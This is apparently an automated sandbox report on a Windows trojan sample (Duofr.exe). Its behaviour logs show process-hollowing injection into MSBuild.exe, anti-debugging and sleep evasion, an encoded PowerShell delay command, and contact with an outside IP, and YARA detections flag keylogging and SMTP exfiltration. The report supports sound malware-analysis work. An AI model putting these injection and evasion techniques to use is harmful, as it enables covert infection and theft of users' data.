NtAllocateVirtualMemory Feb. 3, 2022, 10:34 a.m.	process_identifier: 2836 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0053e000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 3, 2022, 10:34 a.m.	process_identifier: 2836 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0053f000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 3, 2022, 10:34 a.m.	process_identifier: 2836 region_size: 12288 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x009d3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 3, 2022, 10:34 a.m.	process_identifier: 2836 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x06530000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 3, 2022, 10:34 a.m.	process_identifier: 2836 region_size: 36864 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x009d6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 3, 2022, 10:34 a.m.	process_identifier: 2836 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x009df000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 3, 2022, 10:34 a.m.	process_identifier: 2836 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x06040000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 3, 2022, 10:34 a.m.	process_identifier: 2836 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x06041000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 3, 2022, 10:34 a.m.	process_identifier: 2836 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x06042000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 3, 2022, 10:34 a.m.	process_identifier: 2836 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x06043000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 3, 2022, 10:34 a.m.	process_identifier: 2836 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x06044000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 3, 2022, 10:34 a.m.	process_identifier: 2836 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x06045000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 3, 2022, 10:34 a.m.	process_identifier: 2836 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x06046000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 3, 2022, 10:34 a.m.	process_identifier: 2836 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x06047000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 3, 2022, 10:34 a.m.	process_identifier: 2836 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x06048000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 3, 2022, 10:34 a.m.	process_identifier: 2836 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x06049000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 3, 2022, 10:34 a.m.	process_identifier: 2836 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0604a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 3, 2022, 10:34 a.m.	process_identifier: 2836 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0604b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 3, 2022, 10:34 a.m.	process_identifier: 2836 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0604c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 3, 2022, 10:34 a.m.	process_identifier: 2836 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0604d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 3, 2022, 10:34 a.m.	process_identifier: 2836 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0604e000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 3, 2022, 10:34 a.m.	process_identifier: 2836 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0604f000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 3, 2022, 10:34 a.m.	process_identifier: 2836 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0601f000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 3, 2022, 10:34 a.m.	process_identifier: 2836 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x06010000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 3, 2022, 10:34 a.m.	process_identifier: 2836 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x060d0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 3, 2022, 10:34 a.m.	process_identifier: 2836 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x060d1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 3, 2022, 10:34 a.m.	process_identifier: 2836 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x060d2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 3, 2022, 10:34 a.m.	process_identifier: 2836 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x060d3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 3, 2022, 10:34 a.m.	process_identifier: 2836 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x060d4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (3 events)

cmdline	"C:\Windows\system32\cmd.exe" /c timeout 20
cmdline	powershell -enc YwBtAGQAIAAvAGMAIAB0AGkAbQBlAG8AdQB0ACAAMgAwAA==
cmdline	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc YwBtAGQAIAAvAGMAIAB0AGkAbQBlAG8AdQB0ACAAMgAwAA==

A process created a hidden window (1 event)

Time & API	Arguments	Status	Return	Repeated
ShellExecuteExW Feb. 3, 2022, 10:33 a.m.	show_type: 0 filepath_r: powershell parameters: -enc YwBtAGQAIAAvAGMAIAB0AGkAbQBlAG8AdQB0ACAAMgAwAA== filepath: powershell	1	1	0

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses Feb. 3, 2022, 10:34 a.m.	flags: 1158 family: 0	1	0	0

The binary likely contains encrypted or compressed data indicative of a packer (2 events)

section

{u'size_of_data': u'0x0000d600', u'virtual_address': u'0x00008000', u'entropy': 7.203809453128349, u'name': u'.rsrc', u'virtual_size': u'0x0000d5fc'}

entropy

7.20380945313

description

A section with a high entropy has been found

entropy

0.753521126761

description

Overall entropy of this PE file is high

Checks for the Locally Unique Identifier on the system for a suspicious privilege (2 events)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW Feb. 3, 2022, 10:33 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0
LookupPrivilegeValueW Feb. 3, 2022, 10:34 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Yara rule detected in process memory (11 events)

description	Communications smtp	rule	Network_SMTP_dotNet
description	Run a KeyLogger	rule	KeyLogger
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep
description	Affect hook table	rule	win_hook

Communicates with host for which no DNS query was performed (1 event)

host

91.92.120.126

Allocates execute permission to another process indicative of possible code injection (1 event)

Time & API	Arguments	Status	Return	Repeated
NtAllocateVirtualMemory Feb. 3, 2022, 10:34 a.m.	process_identifier: 2128 region_size: 245760 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x0000034c	1	0	0

Looks for the Windows Idle Time to determine the uptime (1 event)

Time & API	Arguments	Status	Return	Repeated
NtQuerySystemInformation Feb. 3, 2022, 10:34 a.m.	information_class: 8 (SystemProcessorPerformanceInformation)	1	0	0

A process attempted to delay the analysis task. (2 events)

description	MSBuild.exe tried to sleep 8184567 seconds, actually delayed analysis time by 8184567 seconds
description	Duofr.exe tried to sleep 2728358 seconds, actually delayed analysis time by 2728358 seconds

Potential code injection by writing to the memory of another process (4 events)

Time & API	Arguments	Status	Return
WriteProcessMemory Feb. 3, 2022, 10:34 a.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $PEL9©ùaàN¾m @ À@lmO0 H.textÄM N `.rsrc0P@@.reloc V@B base_address: 0x00400000 process_identifier: 2128 process_handle: 0x0000034c	1	1
WriteProcessMemory Feb. 3, 2022, 10:34 a.m.	buffer: 8Ph @ê4VS_VERSION_INFO½ïþ?DVarFileInfo$Translation°üStringFileInfoØ000004b0,FileDescription 0FileVersion0.0.0.0d!InternalNameXNLwTzbPXVQOdRSBrGzrbKaFrFjY.exe(LegalCopyright l!OriginalFilenameXNLwTzbPXVQOdRSBrGzrbKaFrFjY.exe4ProductVersion0.0.0.08Assembly Version0.0.0.0ï»¿<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"> <assemblyIdentity version="1.0.0.0" name="MyApplication.app"/> <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2"> <security> <requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3"> <requestedExecutionLevel level="asInvoker" uiAccess="false"/> </requestedPrivileges> </security> </trustInfo> </assembly> base_address: 0x00438000 process_identifier: 2128 process_handle: 0x0000034c	1	1
WriteProcessMemory Feb. 3, 2022, 10:34 a.m.	buffer: `À= base_address: 0x0043a000 process_identifier: 2128 process_handle: 0x0000034c	1	1
WriteProcessMemory Feb. 3, 2022, 10:34 a.m.	buffer: @ base_address: 0xfffde008 process_identifier: 2128 process_handle: 0x0000034c	1	1

Code injection by writing an executable or DLL to the memory of another process (1 event)

Time & API	Arguments	Status	Return	Repeated
WriteProcessMemory Feb. 3, 2022, 10:34 a.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $PEL9©ùaàN¾m @ À@lmO0 H.textÄM N `.rsrc0P@@.reloc V@B base_address: 0x00400000 process_identifier: 2128 process_handle: 0x0000034c	1	1	0

File has been identified by 12 AntiVirus engines on VirusTotal as malicious (12 events)

Elastic	malicious (high confidence)
CrowdStrike	win/malicious_confidence_100% (W)
BitDefenderTheta	Gen:NN.ZemsilF.34182.em0@ayTAZfe
Cyren	W32/MSIL_Kryptik.GMH.gen!Eldorado
Paloalto	generic.ml
Sophos	ML/PE-A
ZoneAlarm	UDS:DangerousObject.Multi.Generic
Microsoft	Trojan:Win32/Sabsik.FL.A!ml
APEX	Malicious
Rising	Trojan.FakeChrome!1.9C7B (CLASSIC)
SentinelOne	Static AI - Malicious PE
Fortinet	MSIL/Agent.KGB!tr.dldr

Used NtSetContextThread to modify a thread in a remote process indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2836 called NtSetContextThread to modify thread in remote process 2128
NtSetContextThread Feb. 3, 2022, 10:34 a.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4419006 registers.ebp: 0 registers.edx: 0 registers.ebx: -139264 registers.esi: 0 registers.ecx: 0 thread_handle: 0x00000354 process_identifier: 2128	1	0	0

One or more non-whitelisted processes were created (1 event)

parent_process

powershell.exe

martian_process

"C:\Windows\system32\cmd.exe" /c timeout 20

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2836 resumed a thread in remote process 2128
NtResumeThread Feb. 3, 2022, 10:34 a.m.	thread_handle: 0x00000354 suspend_count: 1 process_identifier: 2128	1	0	0

The process powershell.exe wrote an executable file to disk (21 events)

file	C:\Windows\System32\ie4uinit.exe
file	C:\Program Files\Windows Sidebar\sidebar.exe
file	C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file	C:\Windows\System32\xpsrchvw.exe
file	C:\Windows\System32\displayswitch.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file	C:\Windows\System32\mblctr.exe
file	C:\Windows\System32\mstsc.exe
file	C:\Windows\System32\SnippingTool.exe
file	C:\Windows\System32\SoundRecorder.exe
file	C:\Windows\System32\dfrgui.exe
file	C:\Windows\System32\msinfo32.exe
file	C:\Windows\System32\rstrui.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file	C:\Program Files\Windows Journal\Journal.exe
file	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file	C:\Windows\System32\MdSched.exe
file	C:\Windows\System32\msconfig.exe
file	C:\Windows\System32\recdisc.exe
file	C:\Windows\System32\msra.exe
file	C:\Windows\System32\cmd.exe

Executed a process and injected code into it, probably while unpacking (35 events)

Time & API	Arguments	Status	Return
NtResumeThread Feb. 3, 2022, 10:33 a.m.	thread_handle: 0x000000dc suspend_count: 1 process_identifier: 2836	1	0
NtResumeThread Feb. 3, 2022, 10:33 a.m.	thread_handle: 0x0000014c suspend_count: 1 process_identifier: 2836	1	0
NtResumeThread Feb. 3, 2022, 10:33 a.m.	thread_handle: 0x00000188 suspend_count: 1 process_identifier: 2836	1	0
CreateProcessInternalW Feb. 3, 2022, 10:33 a.m.	thread_identifier: 2948 thread_handle: 0x0000034c process_identifier: 2944 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe track: 1 command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc YwBtAGQAIAAvAGMAIAB0AGkAbQBlAG8AdQB0ACAAMgAwAA== filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x00000354	1	1
NtResumeThread Feb. 3, 2022, 10:34 a.m.	thread_handle: 0x000004c4 suspend_count: 1 process_identifier: 2836	1	0
NtResumeThread Feb. 3, 2022, 10:34 a.m.	thread_handle: 0x000004dc suspend_count: 1 process_identifier: 2836	1	0
NtResumeThread Feb. 3, 2022, 10:34 a.m.	thread_handle: 0x000004f8 suspend_count: 1 process_identifier: 2836	1	0
NtResumeThread Feb. 3, 2022, 10:34 a.m.	thread_handle: 0x00000538 suspend_count: 1 process_identifier: 2836	1	0
NtResumeThread Feb. 3, 2022, 10:34 a.m.	thread_handle: 0x0000054c suspend_count: 1 process_identifier: 2836	1	0
NtResumeThread Feb. 3, 2022, 10:34 a.m.	thread_handle: 0x0000056c suspend_count: 1 process_identifier: 2836	1	0
CreateProcessInternalW Feb. 3, 2022, 10:34 a.m.	thread_identifier: 1112 thread_handle: 0x00000354 process_identifier: 2128 current_directory: filepath: track: 1 command_line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe filepath_r: stack_pivoted: 0 creation_flags: 134217732 (CREATE_NO_WINDOW\|CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x0000034c	1	1
NtGetContextThread Feb. 3, 2022, 10:34 a.m.	thread_handle: 0x00000354	1	0
NtAllocateVirtualMemory Feb. 3, 2022, 10:34 a.m.	process_identifier: 2128 region_size: 245760 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x0000034c	1	0
WriteProcessMemory Feb. 3, 2022, 10:34 a.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $PEL9©ùaàN¾m @ À@lmO0 H.textÄM N `.rsrc0P@@.reloc V@B base_address: 0x00400000 process_identifier: 2128 process_handle: 0x0000034c	1	1
WriteProcessMemory Feb. 3, 2022, 10:34 a.m.	buffer: base_address: 0x00402000 process_identifier: 2128 process_handle: 0x0000034c	1	1
WriteProcessMemory Feb. 3, 2022, 10:34 a.m.	buffer: 8Ph @ê4VS_VERSION_INFO½ïþ?DVarFileInfo$Translation°üStringFileInfoØ000004b0,FileDescription 0FileVersion0.0.0.0d!InternalNameXNLwTzbPXVQOdRSBrGzrbKaFrFjY.exe(LegalCopyright l!OriginalFilenameXNLwTzbPXVQOdRSBrGzrbKaFrFjY.exe4ProductVersion0.0.0.08Assembly Version0.0.0.0ï»¿<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"> <assemblyIdentity version="1.0.0.0" name="MyApplication.app"/> <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2"> <security> <requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3"> <requestedExecutionLevel level="asInvoker" uiAccess="false"/> </requestedPrivileges> </security> </trustInfo> </assembly> base_address: 0x00438000 process_identifier: 2128 process_handle: 0x0000034c	1	1
WriteProcessMemory Feb. 3, 2022, 10:34 a.m.	buffer: `À= base_address: 0x0043a000 process_identifier: 2128 process_handle: 0x0000034c	1	1
WriteProcessMemory Feb. 3, 2022, 10:34 a.m.	buffer: @ base_address: 0xfffde008 process_identifier: 2128 process_handle: 0x0000034c	1	1
NtSetContextThread Feb. 3, 2022, 10:34 a.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4419006 registers.ebp: 0 registers.edx: 0 registers.ebx: -139264 registers.esi: 0 registers.ecx: 0 thread_handle: 0x00000354 process_identifier: 2128	1	0
NtResumeThread Feb. 3, 2022, 10:34 a.m.	thread_handle: 0x00000354 suspend_count: 1 process_identifier: 2128	1	0
NtResumeThread Feb. 3, 2022, 10:33 a.m.	thread_handle: 0x00000294 suspend_count: 1 process_identifier: 2944	1	0
NtResumeThread Feb. 3, 2022, 10:33 a.m.	thread_handle: 0x000002e8 suspend_count: 1 process_identifier: 2944	1	0
NtResumeThread Feb. 3, 2022, 10:33 a.m.	thread_handle: 0x00000444 suspend_count: 1 process_identifier: 2944	1	0
CreateProcessInternalW Feb. 3, 2022, 10:33 a.m.	thread_identifier: 2072 thread_handle: 0x00000448 process_identifier: 2064 current_directory: C:\Users\test22\AppData\Local\Temp filepath: track: 1 command_line: "C:\Windows\system32\cmd.exe" /c timeout 20 filepath_r: stack_pivoted: 0 creation_flags: 0 () inherit_handles: 1 process_handle: 0x0000044c	1	1
NtResumeThread Feb. 3, 2022, 10:34 a.m.	thread_handle: 0x00000490 suspend_count: 1 process_identifier: 2944	1	0
CreateProcessInternalW Feb. 3, 2022, 10:33 a.m.	thread_identifier: 788 thread_handle: 0x00000084 process_identifier: 1992 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\timeout.exe track: 1 command_line: timeout 20 filepath_r: C:\Windows\system32\timeout.exe stack_pivoted: 0 creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x00000088	1	1
NtResumeThread Feb. 3, 2022, 10:34 a.m.	thread_handle: 0x000000dc suspend_count: 1 process_identifier: 2128	1	0
NtResumeThread Feb. 3, 2022, 10:34 a.m.	thread_handle: 0x0000014c suspend_count: 1 process_identifier: 2128	1	0
NtResumeThread Feb. 3, 2022, 10:34 a.m.	thread_handle: 0x000001c8 suspend_count: 1 process_identifier: 2128	1	0
NtResumeThread Feb. 3, 2022, 10:34 a.m.	thread_handle: 0x00000314 suspend_count: 1 process_identifier: 2128	1	0
NtResumeThread Feb. 3, 2022, 10:34 a.m.	thread_handle: 0x00000334 suspend_count: 1 process_identifier: 2128	1	0
NtResumeThread Feb. 3, 2022, 10:34 a.m.	thread_handle: 0x00000398 suspend_count: 1 process_identifier: 2128	1	0
NtResumeThread Feb. 3, 2022, 10:34 a.m.	thread_handle: 0x00000410 suspend_count: 1 process_identifier: 2128	1	0
NtResumeThread Feb. 3, 2022, 10:35 a.m.	thread_handle: 0x00000354 suspend_count: 1 process_identifier: 2128	1	0
NtResumeThread Feb. 3, 2022, 10:35 a.m.	thread_handle: 0x00000404 suspend_count: 1 process_identifier: 2128	1	0

Duofr.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All